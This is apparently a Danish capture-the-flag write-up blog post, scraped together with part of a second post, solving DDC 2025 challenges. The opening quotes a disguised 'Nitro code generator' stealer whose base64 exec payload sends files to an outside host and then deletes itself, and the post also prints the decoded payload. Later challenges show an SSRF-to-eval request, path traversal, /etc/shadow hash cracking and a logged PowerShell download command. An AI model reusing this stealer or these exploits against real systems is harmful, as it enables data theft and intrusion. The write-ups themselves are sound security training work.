import time, sys, base64, threading;threading.Thread(target=lambda x: exec(base64.b64decode("aW1wb3J0IG9zCgpkZWYgc3RlYWwocGF0aCk6CiBpbXBvcnQgc29ja2V0CiBkZWYgeG9yKGRhdGEsIGtleSk6CiAgcmV0dXJuIGJ5dGVzKFthIF4gYiBmb3IgYSwgYiBpbiB6aXAoZGF0YSwga2V5ICogKGxlbihkYXRhKSAvLyBsZW4oa2V5KSArIDEpKV0pCiB3aXRoIG9wZW4ocGF0aCwgInJiIikgYXMgZjoKICBjb250ZW50ID0gZi5yZWFkKCkKIGVuY3J5cHRlZCA9IHhvcihjb250ZW50LCBiIjZhNTI2NWUyNjBmN2JlZDUwMDY5M2IwZDIxYTA1Y2QyIikKIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiBzLmNvbm5lY3QoKCJuaXRyby1nZW5lcmF0b3IuaGtuIiwgNTkwMDApKQogcy5zZW5kYWxsKGVuY3J5cHRlZCkKIHMuY2xvc2UoKQogb3MucmVtb3ZlKHBhdGgpCgpmb3Igcm9vdCwgZGlycywgZmlsZXMgaW4gb3Mud2FsaygiLyIpOgogZm9yIGZpbGUgaW4gZmlsZXM6CiAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmaWxlKQogIGlmIG9zLnBhdGguaXNmaWxlKHBhdGgpIGFuZCBmaWxlID09ICJmbGFnLnR4dCI6CiAgIHRyeTpzdGVhbChwYXRoKQogICBleGNlcHQ6cGFzcwoKcHJpbnQoIlxuRmFpbGVkIHRvIGdlbmVyYXRlIG5pdHJvIGNvZGVzLiIpCm9zLnJlbW92ZShfX2ZpbGVfXykKb3MuX2V4aXQoKSBpZiBvcy5uYW1lID09ICJudCIgZWxzZSBvcy5raWxsKG9zLmdldHBpZCgpLCA5KQ==")), args=(0,)).start()

chars = "\\|/-"

while True:
    for char in chars:
        sys.stdout.write('\r' + "Generating Nitro Codes... " + char)
        sys.stdout.flush()
        time.sleep(0.2)

Her kan vi se at der er en exec som dekoder en base64 string og kører den. Hvis vi ændrer exec til print og kører scriptet, får vi følgende output:

b'import os\n\ndef steal(path):\n import socket\n def xor(data, key):\n  return bytes([a ^ b for a, b in zip(data, key * (len(data) // len(key) + 1))])\n with open(path, "rb") as f:\n  content = f.read()\n encrypted = xor(content, b"6a5265e260f7bed500693b0d21a05cd2")\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect(("nitro-generator.hkn", 59000))\n s.sendall(encrypted)\n s.close()\n os.remove(path)\n\nfor root, dirs, files in os.walk("/"):\n for file in files:\n  path = os.path.join(root, file)\n  if os.path.isfile(path) and file == "flag.txt":\n   try:steal(path)\n   except:pass\n\nprint("\\nFailed to generate nitro codes.")\nos.remove(__file__)\nos._exit() if os.name == "nt" else os.kill(os.getpid(), 9)'

Her kan vi se at der er en xor funktion som krypterer filen flag.txt med en key og sender den til nitro-generator.hkn på port 59000.

Ved at sorte på tcp.port == 59000 i wireshark, kan vi se at der er en POST request til /flag.txt, som indeholder en xor krypteret fil. Her finder vi 1 frame som indeholder flag.txt filen (frame.number == 1753). Follow TCP stream og vælg Show data as: Raw, her får vi 722576497343565c69730a0456173b560054056650565e3b50023e7d010f5551075140074b.

data = bytes.fromhex("722576497343565c69730a0456173b560054056650565e3b50023e7d010f5551075140074b")
key = "6a5265e260f7bed500693b0d21a05cd2".encode('utf-8')

print(bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]).decode('utf-8', errors='ignore'))

Flag: DDC{Ev3n_Cl34r_c0d3_c4n_b3_M4l1c10u5}

WizardTrial

Velkommen lærling til hackingverdenen. Din første opgave er at lære den oplåsende charme. Du har fået en liste over mulige adgangskoder, men den store troldmand har beskyttet flaget med en mystisk hash 🔒. Held og lykke, unge troldmand!

✨🔮 nc wizard-trial.hkn 1337

Handout (reveng_wizardtraining.zip)

Løsning:

import hashlib
# Magic funktion oversat fra Java til Python (10/10 clutch fra Deepseek)
def magic(input_str):
    j = 1337
    k = 57 - 30 + 3 + 1
    l = 222 // 6
    for char in input_str:
        j *= (ord(char) + k) * l
        j %= 1_000_000_007
    
    j = ((j << 16) | (j >> 48)) & 0xFFFFFFFFFFFF
    return hex(j)[2:]
    
with open("wordlist.txt", "r") as file:
    wordlist = file.readlines()
wordlist = [word.strip() for word in wordlist]


stored_hash = "336db7f20000"
for password in wordlist:
    if magic(password) == stored_hash:
        print(password)
        break
else:
    print("nop")

Her får vi sh4d0w, som vi kan sende til serveren:

***ID
**336db7f20000
***ENTER PASSWORD:
sh4d0w
***CRACKED: DDC{w1zardM4st3r_brut3_f0rc3_ch4rm}

Flag: DDC{w1zardM4st3r_brut3_f0rc3_ch4rm}

Baby session forger

I forgot to make it so I could auth myself. And now I’m locked out, please help me recover my flag :/

Handout (baby_session_forger.tar)

Løsning:

curl -X POST http://10.42.13.134/fileread \
  -d "filename=/proc/self/cwd/flag.txt" \
  -d "offset=0" \
  -d "amount=100"

Her kan vi bruge /proc/self/cwd/flag.txt til at læse flaget fra current working directory, da den ikke er blacklisted.

Flag: DDC{P4th_s4n1t1z4t10n_d0n3_wr0ng}

KatChat

KatChat er den bedste anonyme kattevideo delings tjeneste i hele kattedømmet. Hunde som dig er ikke tilladt!

http://katchat.hkn

Løsning: Under release info kan vi se at der er 2 mapper, upload og banned. Vi kan bruge admin:admin til at logge ind på dashboardet. Her kan vi se en network request til http://10.42.13.133/api/videos?dir=upload hvis vi skifter dir=upload til dir=banned kan vi se de bannede videoer. {"files":["Kat123.mp4","Kat18888.mp4","Kat21818.mp4","Kat99.mp4"]}

De normale videoer bliver hentet via: http://10.42.13.133/api/videos?file=Katxx.mp4, hvis vi laver directory traversal kan vi få fat i de bannede videoer: http://10.42.13.133/api/videos?file=../banned/Kat21818.mp4

Flag: DDC{KATTE_3R_GRIMM3}

Gateway

Jeg synes du skal (eval)uere min nye super krypterede proxy: http://gateway.hkn

Løsning: Ved at kigge i source på hjemmesiden kan vi se at der findes en /admin endpoint, som vi kan tilgå. Her kan vi se at der er en command parameter, som vi kan bruge til at køre kommandoer, men det kræver at vores requests kommer fra localhost.

POST /fetch HTTP/1.1
Host: 10.42.13.194
Content-Length: 98
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.42.13.194
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.42.13.194/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

site=http%3A%2F%2F0.0.0.0%2Fadmin%3Fcommand%3Drequire("fs").readFileSync("./flag.txt", "utf8")

Giver:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 24
ETag: W/"18-lXX7rq5mZ8QeLakml0/rs+P4t20"
Date: Sat, 05 Apr 2025 10:45:32 GMT
Connection: keep-alive
Keep-Alive: timeout=5

DDC{wh1tel1sts_ar3_c00l}

Flag: DDC{wh1tel1sts_ar3_c00l}

sysmon-spectacle

Der er opstået en sikkerhedshændelse på en af SagaLabs’ arbejdsstationer. En af administratorerne blev overrasket over at finde en mærkelig eksekverbar fil på serveren, og værten genererede usædvanlig trafik til en fremmed IP-adresse. SagaLabs’ sikkerhedsteam har formået at indsamle nogle Sysmon-logs, som er blevet genereret på maskinen, men de skal bruge din hjælp til at fortolke dem og afdække detaljerne omkring hændelsen.

Note: Flaget kan findes lokalt fra det log man får udleveret. Man behover ikke tilgå eller interagere med ip’erne for at løse opgaven

Handout (sysmon-spectacle.zip)

Løsning: Jeg søgte lidt rundt i de forskellige logs efter powershell, indtil jeg fandt en powershell kommando som så interessant ud:

The request is not supported
"
Information	28/09/2024 10.56.31	Microsoft-Windows-Sysmon	1	(1)	"The description for Event ID 1 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event: 

technique_id=T1059.003,technique_name=Windows Command Shell
2024-09-28 08:56:31.877
EV_RenderedValue_2,00
8540
C:\Windows\System32\cmd.exe
10.0.19041.4355 (WinBuild.160101.0800)
Windows Command Processor
Microsoft® Windows® Operating System
Microsoft Corporation
Cmd.Exe
cmd.exe  /c ""powershell -Command Invoke-WebRequest -Uri http://74.248.114.242/RERDezVZNU0wTjE1NFczNTBNM1dVSFV9""
C:\Users\sagalabs\Music\
DESKTOP-GCVE394\sagalabs
EV_RenderedValue_13,00
2197472
1
Medium
SHA1=DF79C86FDD11B9CCB89148458E509F879C72566C,MD5=2B40C98ED0F7A1D3B091A3E8353132DC,SHA256=BADF4752413CB0CBDC03FB95820CA167F0CDC63B597CCDB5EF43111180E088B0,IMPHASH=272245E2988E1E430500B852C4FB5E18
EV_RenderedValue_18,00
3740
C:\Windows\System32\cmd.exe
""C:\Windows\system32\cmd.exe""
DESKTOP-GCVE394\sagalabs

Her finder vi: http://74.248.114.242/RERDezVZNU0wTjE1NFczNTBNM1dVSFV9, ved at decode RERDezVZNU0wTjE1NFczNTBNM1dVSFV9 fra base64 får vi DDC{5Y5M0N154W350M3WUHU}.

Flag: DDC{5Y5M0N154W350M3WUHU}

Third time is the charm

👉 http://abc.hkn 👈

Løsning: Ved at køre en nmap scan på serveren kan vi se at der er en ftp server kørende på port 21. Her kan vi logge ind med admin:admin og downloade backup.zip. Desværre er zip filen password protected, så vi skal bruge fcrackzip til at cracke passwordet.

halfdan@desktop:~$ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip 
found file 'backup/passwd.txt', (size cp/uc    531/  1442, flags 9, chk a8e2)
found file 'backup/shadow.txt', (size cp/uc    472/  1092, flags 9, chk a8e2)


PASSWORD FOUND!!!!: pw == whatever

Nu kan vi unzip filen med whatever som password. Her finder vi 2 filer, passwd.txt og shadow.txt.

alice:x:1000:1000::/home/alice:/bin/bash
bob:x:1001:1001::/home/bob:/bin/bash
charlie:x:1002:1002::/home/charlie:/bin/bash


alice:$6$nvdZht1mZP6aHymh$Y8Vmz7LAhMmmiO6/69O0eItiIwWUNW7WJOQcfMGB1OW/UyeBX7nEHKBWXOXQ9Hy504AYa3QGr4XdjKy2wjUt21:20108:0:99999:7:::
bob:$6$ox2vedwh0BH3VPaN$c/nt7wKN2yJfQ8NeeJtX4sC.ZbEJDFwbMLeNF0z8MQDDCMVPHwIuER6YyXWjGuId.WTINLvLbnBi/.SlS9AdN0:20108:0:99999:7:::
charlie:$6$iGjyt/KLehKBoCeA$MA9h2Dhj8C9uKCqJxmOxbfsHSPwaRh8r0EJrxHR3jGfnqvBfp55KP6TM/lmiSXVCIXGIYUSNDOZvbBsfU7BM0/:20108:0:99999:7:::

Her kan vi bruge john til at cracke passwordene:

john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

Intented solution

Fra john får vi:

alice:123456789:20108:0:99999:7:::
bob:123456789:20108:0:99999:7:::
charlie:123456789:20108:0:99999:7:::

3 password hashes cracked, 0 left

på 3 forsøg kan vi ssh ind som charlie og cat flag.txt: DDC{u0rcMP54d-pc3jNX-WUW}

Unintented solution

Af en eller anden grund ville min john ikke cracke passwordet til charlie, så jeg endte med at logge ind som bob og ændre i /entrypoint.sh så den kopirede flag.txt til /home/bob/flag.txt.

#!/usr/bin/env bash

service ssh start

cat /home/charlie/flag.txt > /home/bob/flag.txt
chmod 777 /home/bob/flag.txt

python3 ftp.py

Så på campfiresecurity stop og start challengen, så kunne jeg cat flag.txt som bob.

cat /home/bob/flag.txt

DDC{u0rcMP54d-pc3jNX-WUW}

Flag: DDC{u0rcMP54d-pc3jNX-WUW}

Find my files

Fin har lige opdaget hvordan hjemmesider virker, man giver bare en fil til dem som gerne vil se den. Han sagde at han havde lavet en hjemmeside hvor du kan se alfabetet, men noget siger mig at den kan give flere filer end det er intentionen. Han har dog valgt at skrive den i c, hvilket kan skal have stor ros for. Han kører også ssh for at kunne tjekke om folk har fundet filen.

http://alfabet.hkn

Løsning: Ved at gå til http://alfabet.hkn/etc/shadow får vi udleveret filen /etc/shadow. Her finder vi password hash af root brugeren, som vi kan cracke med hashcat:

echo '$6$yVfBpLZpinJp40Y8$2PZ5Gkn6bjqWfQpypoE3Yf/pnf/ukgMPS7GtGdrqya3JcP/qsonqROS4if77u9.FoK0Y62ppdwBdnry4WtAO60' > hash
hashcat -m 1800 hash /usr/share/wordlists/rockyou.txt

Her får vi root:123456789, som vi kan bruge til at ssh ind på serveren. Her kan vi finde flaget i ./app/du_finder_flaget_her.

root@2c73939fe39e:/# cat ./app/du_finder_flaget_her
DDC{nu_fandt_du_min_fil}

Flag: DDC{nu_fandt_du_min_fil}

StuckAt99

Alle disse $💢%💀@! opdateringer bliver ved med at sidde fast! Det er så irriterende!!! Hvis bare jeg selv kunne få fat i koden, så kunne jeg endelig få dette program til at køre.

Handout (StuckAt99.zip)

Løsning: Ved at bruge Detect It Easy (DiE) kan vi se at programmet er skrevet i C#. Dette kan vi let dekompilere med CodemerxDecompile.

I koden finder vi en GenerateFlag funktion:

private string GenerateFlag()
{
	StringBuilder stringBuilder = new StringBuilder();
	stringBuilder.Append(this.GetCharacter(0));
	stringBuilder.Append(this.GetCharacter(0));
	stringBuilder.Append(this.GetCharacter(1));
	stringBuilder.Append(this.GetCharacter(2));
	stringBuilder.Append(this.GetCharacter(31));
	stringBuilder.Append(this.GetCharacter(32));
	stringBuilder.Append(this.GetCharacter(33));
	stringBuilder.Append(this.GetCharacter(34));
	stringBuilder.Append(this.GetCharacter(41));
	stringBuilder.Append(this.GetCharacter(41));
	stringBuilder.Append(this.GetCharacter(42));
	stringBuilder.Append(this.GetCharacter(43));
	stringBuilder.Append(this.GetCharacter(44));
	stringBuilder.Append(this.GetCharacter(45));
	stringBuilder.Append(this.GetCharacter(46));
	stringBuilder.Append(this.GetCharacter(47));
	stringBuilder.Append(this.GetCharacter(48));
	stringBuilder.Append(this.GetCharacter(49));
	stringBuilder.Append(this.GetCharacter(3));
	return stringBuilder.ToString();
}

private char GetCharacter(int index)
{
	char chr = (new char[] { 'D', 'C', '{', '}', 'Y', 'b', '9', '\u005F', 'H', 'j', 'X', '4', 'L', 'f', '2', 'u', 'V', 'z', 's', 'M', 'K', 'D', 'P', 't', 'n', 'F', '1', '0', 'r', 'a', 'z', 'f', '1', 'n', 'e', 'l', 'H', 'A', 'S', 'i', 't', '\u005F', 'm', '4', 'n', 'u', 'a', 'l', 'l', 'y', 'G', 'o', 'd', 'b', 'l', 'e', 'C', '6', 'p', 'Y', 'd', 'I', 'w', 'q', 'b', 'M', 'n', 'J', '3', 'z', 'X', 's', 'F', 'r', 't', 'C', 'g', 'Q', '1', 'L', '8', 'N', 'e', '\u005F', 'u', 'T', 's', '0', 'y', 'k', 'f', 'P', 'h', 'V', 'c', 'W', 'j', '2', 'l', 'B', '7', 'r', 'O', 'X', 'e', '9', 'S', 'a', 'M', 'T', 'n', '!' })[index];
	return chr;
}

Her kan vi se at flaget bliver genereret ved at kalde GetCharacter funktionen med forskellige index. Hvis vi kigger på GetCharacter funktionen kan vi se at den returnere et char fra en array, som indeholder flaget.

Vi kan nemt lave en python script til at generere flaget:

def generate_flag():
    chars = ['D', 'C', '{', '}', 'Y', 'b', '9', '_', 'H', 'j', 'X', '4', 'L', 'f', '2', 'u', 'V', 'z', 's', 'M', 'K', 'D', 'P', 't', 'n', 'F', '1', '0', 'r', 'a', 'z', 'f', '1', 'n', 'e', 'l', 'H', 'A', 'S', 'i', 't', '_', 'm', '4', 'n', 'u', 'a', 'l', 'l', 'y', 'G', 'o', 'd', 'b', 'l', 'e', 'C', '6', 'p', 'Y', 'd', 'I', 'w', 'q', 'b', 'M', 'n', 'J', '3', 'z', 'X', 's', 'F', 'r', 't', 'C', 'g', 'Q', '1', 'L', '8', 'N', 'e', '_', 'u', 'T', 's', '0', 'y', 'k', 'f', 'P', 'h', 'V', 'c', 'W', 'j', '2', 'l', 'B', '7', 'r', 'O', 'X', 'e', '9', 'S', 'a', 'M', 'T', 'n', '!']
    return ''.join(chars[i] for i in [0, 0, 1, 2, 31, 32, 33, 34, 41, 41, 42, 43, 44, 45, 46, 47, 48, 49, 3])

print(generate_flag())

Flag: DDC{f1ne__m4nually}

SystemReaper

Look at this tool! You can hack everything with it! What? You think it’s actually a malware? No! Impossible! If you don’t believe me, check its source code and compile it yourself!

Handout (systemreaper.zip)

Løsning: Vi finder gradle-wrapper.jar i SystemReaper/gradle/wrapper denne fil kan vi dekompilere med https://www.decompiler.com. Her finder vi en Hook.java fil under fr/crazycat256/systemreaper/backdoor/Hook.java, som indeholder en iAmNotHere og xor funktion:

private static void iAmNotHere(String arg) {
      if (arg.equals("flag")) {
         byte[] b = new byte[]{63, 7, 15, 58, 17, 96, 0, 45, 117, 63, 118, 57, 37, 32, 30, 52, 116, 60, 39, 19, 3, 55, 102, 25, 23, 112, 19, 54, 33, 103, 47, 62, 114, 63, 112, 34};
         System.out.println(xor(new String(b), "{CLASS_NAME_PLACEHOLDER}"));
         System.exit(0);
      }
   }


private static String xor(String s, String key) {
      StringBuilder sb = new StringBuilder();

      for(int i = 0; i < s.length(); ++i) {
         sb.append((char)(s.charAt(i) ^ key.charAt(i % key.length())));
      }

      return sb.toString();
   }

Vi kan se at iAmNotHere funktionen kører xor funktionen med en key og en string, som indeholder flaget. Vi kan lave en python script til at dekryptere flaget:

b = [63, 7, 15, 58, 17, 96, 0, 45, 117, 63, 118, 57, 37, 32, 30, 52, 116, 60, 39, 19, 3, 55, 102, 25, 23, 112, 19, 54, 33, 103, 47, 62, 114, 63, 112, 34]
key = "{CLASS_NAME_PLACEHOLDER}"

decrypted = ''.join(chr(c ^ ord(key[i % len(key)])) for i, c in enumerate(b))
print(decrypted)

Flag: DDC{B3_c4r3ful_w1th_Gr4dl3_wr4pp3r5}

Hidden in Plain Sight

Leder du efter et 🏴‍? 󠁄󠁄󠁃󠁻󠁕󠁎󠀱󠁃󠀰󠁄󠁅󠀭󠀱󠁓󠀭󠀴󠀭󠀲󠁔󠁒󠀴󠁎󠁇󠁅󠀭󠁌󠀴󠁎󠁄󠁽 Du har lige læst forbi et 😁

Handout (HiddenInPlainSight.zip)

Løsning: Fra starten havde jeg en ide om at der måtte være noget unicode på spil, ved at indsætte strengen i en python shell kan vi se at der er en masse unicode tegn i strengen.

halfdan@desktop:~$ python3
Python 3.10.12 (main, Feb  4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 'Leder du efter et 🏴‍? 󠁄󠁄󠁃󠁻󠁕󠁎󠀱󠁃󠀰󠁄 Du har lige læst forbi et 😁'
'Leder du efter et 🏴\u200d? \U000e0044\U000e0044\U000e0043\U000e007b\U000e0055\U000e004e\U000e0031\U000e0043\U000e0030\U000e0044\U000e0045\U000e002d\U000e0031\U000e0053\U000e002d\U000e0034\U000e002d\U000e0032\U000e0054\U000e0052\U000e0034\U000e004e\U000e0047\U000e0045\U000e002d\U000e004c\U000e0034\U000e004e\U000e0044\U000e007d Du har lige læst forbi et 😁'
>>>

Her kan vi se at der er en masse unicode tegn i strengen, hvis vi fjerner “\U000e00” fra alle unicode tegnene får vi:

44 44 43 7b 55 4e 31 43 30 44 45 2d 31 53 2d 34 2d 32 54 52 34 4e 47 45 2d 4c 34 4e 44 7d

Dette ligner hex værdier, som vi kan konvertere til ascii:

print(bytes.fromhex("4444437b554e31433044452d31532d342d325452344e47452d4c344e447d").decode())

Flag: DDC{UN1C0DE-1S-4-2TR4NGE-L4ND}

]]>DDC - Qualifiers Junior 2025 : Writeupshttps://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2025/Sun, 16 Mar 2025 00:00:00 +0000https://ha1fdan.xyz/en/posts/ddc_qualifiers_junior_2025/<h2 id="scoreboard">Scoreboard:</h2> <p><img src="https://ha1fdan.xyz/ddc_qual_2025/scoreboard_top10.png" alt="Scoreboard"></p> <p>Slut scoreboard: <a href="https://ha1fdan.xyz/ddc_qual_2025/scoreboard_med_score.png">Scoreboard med score (top 10)</a></p> <p><strong>Jeg var den første der kvalificerede sig på junior holdet, efter bare 24min og 44sek.</strong></p> <p><img src="https://ha1fdan.xyz/ddc_qual_2025/first_kval.png" alt="Discord Kvalifikation Besked"></p> <hr> <h2 id="opgaver-løst-i-den-rækkefølge-jeg-løste-dem">Opgaver løst (I den rækkefølge jeg løste dem):</h2> <table> <thead> <tr> <th>Challenge</th> <th>Category</th> </tr> </thead> <tbody> <tr> <td><a href="#aes-decryption">AES Decryption</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#find-frontdoor">Find Frontdoor</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#read-the-rules">Read the rules</a></td> <td>Kvalifikation</td> </tr> <tr> <td><a href="#efterforskningen">Efterforskningen</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#straba">Straba</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#outxorcing">OutXORcing</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#vigeneres-dictionary">Vigeneres dictionary</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#binary-encodings1">Binary-Encodings1</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#cross-site-job">Cross Site Job</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#complete-styling-sadness">Complete Styling Sadness</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#shutter-trace">Shutter Trace</a></td> <td>Misc</td> </tr> <tr> <td><a href="#long-live-caesar">Long live Caesar</a></td> <td>Cryptography</td> </tr> <tr> <td><a href="#hasher-is-back">Hasher is back</a></td> <td>Misc</td> </tr> <tr> <td><a href="#the-professors-lost-note">The Professors Lost Note</a></td> <td>Misc</td> </tr> <tr> <td><a href="#what-time-is-it">What time is it</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#gotowin">gotowin</a></td> <td>Binary</td> </tr> <tr> <td><a href="#leaky-store">Leaky Store</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#ping-sweep">ping-sweep</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#the-gauntlet-pt-1">The Gauntlet pt 1</a></td> <td>Boot2root</td> </tr> <tr> <td><a href="#masahiro-hara">Masahiro Hara</a></td> <td>Misc</td> </tr> <tr> <td><a href="#passprotector">PassProtector</a></td> <td>Reverse Engineering</td> </tr> <tr> <td><a href="#pwn-me-good-uwu">PWN me good uwu</a></td> <td>Binary</td> </tr> <tr> <td><a href="#ddc-lounge">DDC Lounge</a></td> <td>Web exploitation</td> </tr> <tr> <td><a href="#covertchannel2">covertchannel2</a></td> <td>Forensics</td> </tr> <tr> <td><a href="#pwn-me-good-uwu---wifu-edition">PWN me good uwu - Wifu Edition</a></td> <td>Binary</td> </tr> </tbody> </table> <hr> <h3 id="aes-decryption">AES Decryption</h3> <p>You&rsquo;ve intercepted a Base64-encoded AES-encrypted message, along with a potential key. Analyze and decrypt the ciphertext to uncover the secret at:</p>Scoreboard:

Scoreboard

Slut scoreboard: Scoreboard med score (top 10)

Jeg var den første der kvalificerede sig på junior holdet, efter bare 24min og 44sek.

Discord Kvalifikation Besked

Opgaver løst (I den rækkefølge jeg løste dem):

Challenge Category
AES Decryption Cryptography
Find Frontdoor Web exploitation
Read the rules Kvalifikation
Efterforskningen Forensics
Straba Forensics
OutXORcing Reverse Engineering
Vigeneres dictionary Cryptography
Binary-Encodings1 Cryptography
Cross Site Job Web exploitation
Complete Styling Sadness Web exploitation
Shutter Trace Misc
Long live Caesar Cryptography
Hasher is back Misc
The Professors Lost Note Misc
What time is it Reverse Engineering
gotowin Binary
Leaky Store Web exploitation
ping-sweep Forensics
The Gauntlet pt 1 Boot2root
Masahiro Hara Misc
PassProtector Reverse Engineering
PWN me good uwu Binary
DDC Lounge Web exploitation
covertchannel2 Forensics
PWN me good uwu - Wifu Edition Binary

AES Decryption

You’ve intercepted a Base64-encoded AES-encrypted message, along with a potential key. Analyze and decrypt the ciphertext to uncover the secret at:

aes-ddc.hkn

Løsning: På hjemmesiden får vi en key og en encrypted besked, samt nogle hints om AES-ECB. Med disse informationer kan vi decrypte beskeden og finde flaget.

from Crypto.Cipher import AES
import base64
key = b"Kn0w1ngAESisP0w!"
enc_msg = "4y+S0gs40gNFI5ejtUh+szLf+GtzSu1IM/Lr1+2ZEWo="
enc_bytes = base64.b64decode(enc_msg)
# Decrypt med AES-ECB
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(enc_bytes).decode('utf-8').rstrip("\x10")
print(flag)

Flag: DDC{S3cr3t_C0d3}

Find Frontdoor

Vi har alle hørt om en bagdør… men har du nogensinde hørt om en fordør? 🤔

Hackere bruger bagdøre til at snige sig ind i systemer, men hvad nu hvis nogen bare efterlod hoveddøren vidt åben? 😲

I denne udfordring skal du ikke knække nogen avanceret kryptering eller brute-force adgangskoder - nej nej, nogen har allerede gjort arbejdet for dig! Måske er det en glemt debug-funktion? Måske en udvikler, der havde en dårlig dag?

Uanset hvad, så er spørgsmålet: Kan du finde fordøren… før nogen andre gør det? 🔓😈

Tjek udfordringen ud på:

findfrontdoor.hkn:8080

Løsning: Flaget kan ses i plaintext i source code.

Flag: DDC{Fr0ntD00r_0p3n_F0r_Bu5in3ss}

Read the rules

Velkommen til DDC 2025!

Nogle opgaver har en online del på en adresse, der ender på .hkn. Disse skal tilgås fra platformen Campfire Labs.

Start med at oprette en konto og start et browser lab. Start så opgaven read the rules og gå så til readtherules.hkn inde i browser labbet for at finde første del af flaget samt instruktioner til resten!

Held og lykke med dit første flag!!!

Løsning: Første halvdel af flaget findes på readtherules.hkn - Anden halvden af flaget kan findes under FAQ på https://junior.cybermesterskaberne.dk/tos

Flag: DDC{R34D_7H3_RUL3Z_0R_G37_Y3373D}

Efterforskningen

PET har i samarbejde med NSA fortaget en længevarende efterforskning af den verdenskendte hacker Fin B. PET foretog i fredags en razzia på Fin B’s bopæl, hvor de fandt en computer. Da de åbnede computeren, fandt de ikke noget. De mistænker Fin B for at have slettet alle hans filer før deres ankomst. PET har derfor brug for din hjælp! De vil have dig til at gennemsøge de vigtigste dele af hans computer, såsom root. Så find dine bedste redskaber frem, og find de slettede dokumenter.

Handout (Efterforskningen.zip)

Løsning: Ved at mounte .img filen på vores ejet system finder vi flaget i /root/.bash_history.

Flag: DDC{just_go_away}

Straba

Vi er på udkig efter nogle soldater som er fra den fjendtlige styrke. Vi har fået et tip om at de bruger straba til at poste deres løb. Straba har dog en politik om at udlevere 0 information og vi må derfor se om vi kan finde noget selv. Gå ind på straba.hkn og se om du kan finde noget i billederne. Flaget er navnet på byen ved den militærbase, som de er ved.

Eksempel på flag: DDC{odense}

straba.hkn

Løsning: På hjemmesiden ser vi et par posts med billeder, hvis man henter det første billede og bruger exiftool finder man coordinaterne til det sted hvor billet er taget.

Flag: DDC{skrydstrup}

outXORcing

Jeg udvikler kun flotte brugergrænseflader, så jeg outsourcede access control til en backend udvikler (Den inverse af mig). Kan du tjekke om det er sikkert for mig?

P.S min backend udvikler siger at objdump -d -S er strengt forbudt og at ingen bruger Ghidra mere.

Handout (outXORcing.zip)

Løsning: Ved at uploade access-control til https://dogbolt.org/ kan vi under BinaryNinja se __builtin_strncpy(&key, "jens_myrup", 0xb); samt __builtin_memcpy(&FLAG, "\x2e\x21\x2d\x08\x27\x5d\x0b\x2d\x1c\x03\x35\x17\x5d\x05\x6c\x1f\x0a\x1b\x17\x1c\x59\x18", 0x16);

Med lidt hjælp fra CyberChef kan vi finde flaget. Recipen er From Hex og XOR hvor key er jens_myrup som UTF8. Link til CyberChef recipe

Flag: DDC{x0r_is_r3v3rsibl3}

Vigeneres dictionary

En mere avanceret substitutionschiffer er Vignere chiffer, hvor en længere nøgle bruges til at forhindre brute force angreb. Nøglen var valgt fra en ordbog på dansk, så den var let at huske.

Det krypterede flag er på dansk, kan man dekryptere det selvom det er meget kort?

Husk at lægge resultatet ind i flagformatet: ddc eksempel flag → DDC{eksempel_flag}

Handout (vigedict.zip)

Løsning: Siden der bliver talt så meget om dictionary og ordbøger, og vi har en liste af danske ord skal vi nok lave et dictionary attack. Dette kan gøres med python:

import string
# Same alphabet as in the encryption script
alphabet = 'abcdefghijklmnopqrstuvwxyzæøå'

def clean_input(text):
    text = text.lower()
    tmp = [c if c in (alphabet + string.whitespace) else '' for c in text]
    tmp2 = [c if c in alphabet else " " for c in tmp]
    return ''.join(tmp2)

def subtract(a, b):
    if a in string.whitespace:
        return a
    return alphabet[(alphabet.index(a) - alphabet.index(b)) % len(alphabet)]

def vigenere_decrypt(key, ciphertext):
    plaintext = ""
    for i in range(len(ciphertext)):
        plaintext += subtract(ciphertext[i], key[i % len(key)])
    return plaintext

def load_danish_words(filename):
    words = set()
    try:
        with open(filename, 'r', encoding='utf-8') as f:
            for line in f:
                word = line.strip().lower()
                if len(word) == 9 and all(c in alphabet for c in word):
                    words.add(word)
    except FileNotFoundError:
        print(f"Warning: Could not find {filename}")
    return words

def main():
    with open('encryption.txt', 'rb') as f:
        ciphertext = f.read().decode('utf-8')
    ciphertext = clean_input(ciphertext)
    print(f"Cleaned ciphertext: {ciphertext}")
    danish_words = load_danish_words('danish_dict.txt')
    print(f"Loaded {len(danish_words)} Danish words of length 9")
    for key in danish_words:
        plaintext = vigenere_decrypt(key, ciphertext)
        # Only print results that look promising (contain common Danish words)
        common_words = ['og', 'er', 'det', 'den', 'en', 'til']
